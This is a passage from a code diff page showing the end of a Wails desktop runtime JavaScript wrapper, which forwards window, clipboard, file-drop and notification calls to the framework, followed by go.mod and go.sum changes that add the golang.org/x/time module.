||||
|
||||
export function WindowIsFullscreen() {
|
||||
return window.runtime.WindowIsFullscreen();
|
||||
}
|
||||
|
||||
export function WindowGetSize() {
|
||||
return window.runtime.WindowGetSize();
|
||||
}
|
||||
|
||||
export function WindowSetSize(width, height) {
|
||||
window.runtime.WindowSetSize(width, height);
|
||||
}
|
||||
|
||||
export function WindowSetMaxSize(width, height) {
|
||||
window.runtime.WindowSetMaxSize(width, height);
|
||||
}
|
||||
|
||||
export function WindowSetMinSize(width, height) {
|
||||
window.runtime.WindowSetMinSize(width, height);
|
||||
}
|
||||
|
||||
export function WindowSetPosition(x, y) {
|
||||
window.runtime.WindowSetPosition(x, y);
|
||||
}
|
||||
|
||||
export function WindowGetPosition() {
|
||||
return window.runtime.WindowGetPosition();
|
||||
}
|
||||
|
||||
export function WindowHide() {
|
||||
window.runtime.WindowHide();
|
||||
}
|
||||
|
||||
export function WindowShow() {
|
||||
window.runtime.WindowShow();
|
||||
}
|
||||
|
||||
export function WindowMaximise() {
|
||||
window.runtime.WindowMaximise();
|
||||
}
|
||||
|
||||
export function WindowToggleMaximise() {
|
||||
window.runtime.WindowToggleMaximise();
|
||||
}
|
||||
|
||||
export function WindowUnmaximise() {
|
||||
window.runtime.WindowUnmaximise();
|
||||
}
|
||||
|
||||
export function WindowIsMaximised() {
|
||||
return window.runtime.WindowIsMaximised();
|
||||
}
|
||||
|
||||
export function WindowMinimise() {
|
||||
window.runtime.WindowMinimise();
|
||||
}
|
||||
|
||||
export function WindowUnminimise() {
|
||||
window.runtime.WindowUnminimise();
|
||||
}
|
||||
|
||||
export function WindowSetBackgroundColour(R, G, B, A) {
|
||||
window.runtime.WindowSetBackgroundColour(R, G, B, A);
|
||||
}
|
||||
|
||||
export function ScreenGetAll() {
|
||||
return window.runtime.ScreenGetAll();
|
||||
}
|
||||
|
||||
export function WindowIsMinimised() {
|
||||
return window.runtime.WindowIsMinimised();
|
||||
}
|
||||
|
||||
export function WindowIsNormal() {
|
||||
return window.runtime.WindowIsNormal();
|
||||
}
|
||||
|
||||
export function BrowserOpenURL(url) {
|
||||
window.runtime.BrowserOpenURL(url);
|
||||
}
|
||||
|
||||
export function Environment() {
|
||||
return window.runtime.Environment();
|
||||
}
|
||||
|
||||
export function Quit() {
|
||||
window.runtime.Quit();
|
||||
}
|
||||
|
||||
export function Hide() {
|
||||
window.runtime.Hide();
|
||||
}
|
||||
|
||||
export function Show() {
|
||||
window.runtime.Show();
|
||||
}
|
||||
|
||||
export function ClipboardGetText() {
|
||||
return window.runtime.ClipboardGetText();
|
||||
}
|
||||
|
||||
export function ClipboardSetText(text) {
|
||||
return window.runtime.ClipboardSetText(text);
|
||||
}
|
||||
|
||||
/**
|
||||
* Callback for OnFileDrop returns a slice of file path strings when a drop is finished.
|
||||
*
|
||||
* @export
|
||||
* @callback OnFileDropCallback
|
||||
* @param {number} x - x coordinate of the drop
|
||||
* @param {number} y - y coordinate of the drop
|
||||
* @param {string[]} paths - A list of file paths.
|
||||
*/
|
||||
|
||||
/**
|
||||
* OnFileDrop listens to drag and drop events and calls the callback with the coordinates of the drop and an array of path strings.
|
||||
*
|
||||
* @export
|
||||
* @param {OnFileDropCallback} callback - Callback for OnFileDrop returns a slice of file path strings when a drop is finished.
|
||||
* @param {boolean} [useDropTarget=true] - Only call the callback when the drop finished on an element that has the drop target style. (--wails-drop-target)
|
||||
*/
|
||||
export function OnFileDrop(callback, useDropTarget) {
|
||||
return window.runtime.OnFileDrop(callback, useDropTarget);
|
||||
}
|
||||
|
||||
/**
|
||||
* OnFileDropOff removes the drag and drop listeners and handlers.
|
||||
*/
|
||||
export function OnFileDropOff() {
|
||||
return window.runtime.OnFileDropOff();
|
||||
}
|
||||
|
||||
export function CanResolveFilePaths() {
|
||||
return window.runtime.CanResolveFilePaths();
|
||||
}
|
||||
|
||||
export function ResolveFilePaths(files) {
|
||||
return window.runtime.ResolveFilePaths(files);
|
||||
}
|
||||
|
||||
export function InitializeNotifications() {
|
||||
return window.runtime.InitializeNotifications();
|
||||
}
|
||||
|
||||
export function CleanupNotifications() {
|
||||
return window.runtime.CleanupNotifications();
|
||||
}
|
||||
|
||||
export function IsNotificationAvailable() {
|
||||
return window.runtime.IsNotificationAvailable();
|
||||
}
|
||||
|
||||
export function RequestNotificationAuthorization() {
|
||||
return window.runtime.RequestNotificationAuthorization();
|
||||
}
|
||||
|
||||
export function CheckNotificationAuthorization() {
|
||||
return window.runtime.CheckNotificationAuthorization();
|
||||
}
|
||||
|
||||
export function SendNotification(options) {
|
||||
return window.runtime.SendNotification(options);
|
||||
}
|
||||
|
||||
export function SendNotificationWithActions(options) {
|
||||
return window.runtime.SendNotificationWithActions(options);
|
||||
}
|
||||
|
||||
export function RegisterNotificationCategory(category) {
|
||||
return window.runtime.RegisterNotificationCategory(category);
|
||||
}
|
||||
|
||||
export function RemoveNotificationCategory(categoryId) {
|
||||
return window.runtime.RemoveNotificationCategory(categoryId);
|
||||
}
|
||||
|
||||
export function RemoveAllPendingNotifications() {
|
||||
return window.runtime.RemoveAllPendingNotifications();
|
||||
}
|
||||
|
||||
export function RemovePendingNotification(identifier) {
|
||||
return window.runtime.RemovePendingNotification(identifier);
|
||||
}
|
||||
|
||||
export function RemoveAllDeliveredNotifications() {
|
||||
return window.runtime.RemoveAllDeliveredNotifications();
|
||||
}
|
||||
|
||||
export function RemoveDeliveredNotification(identifier) {
|
||||
return window.runtime.RemoveDeliveredNotification(identifier);
|
||||
}
|
||||
|
||||
export function RemoveNotification(identifier) {
|
||||
return window.runtime.RemoveNotification(identifier);
|
||||
}
|
||||
@@ -37,6 +37,7 @@ require (
|
||||
golang.org/x/net v0.48.0 // indirect
|
||||
golang.org/x/sys v0.41.0 // indirect
|
||||
golang.org/x/text v0.32.0 // indirect
|
||||
golang.org/x/time v0.14.0 // indirect
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20251202230838-ff82c1b0f217 // indirect
|
||||
)
|
||||
|
||||
|
||||
@@ -111,6 +111,8 @@ golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9sn
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.32.0 h1:ZD01bjUt1FQ9WJ0ClOL5vxgxOI/sVCNgX1YtKwcY0mU=
|
||||
golang.org/x/text v0.32.0/go.mod h1:o/rUWzghvpD5TXrTIBuJU77MTaN0ljMWE47kxGJQ7jY=
|
||||
golang.org/x/time v0.14.0 h1:MRx4UaLrDotUKUdCIqzPC48t1Y9hANFKIRpNx+Te8PI=
|
||||
golang.org/x/time v0.14.0/go.mod h1:eL/Oa2bBBK0TkX57Fyni+NgnyQQN4LitPmob2Hjnqw4=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
gonum.org/v1/gonum v0.16.0 h1:5+ul4Swaf3ESvrOnidPp4GZbzf0mxVQpDCYUQE7OJfk=
|
||||
gonum.org/v1/gonum v0.16.0/go.mod h1:fef3am4MQ93R2HHpKnLk4/Tbh/s0+wqD5nfa6Pnwy4E=
|
||||
|
||||
Binary file not shown.
Reference in New Issue
Block a user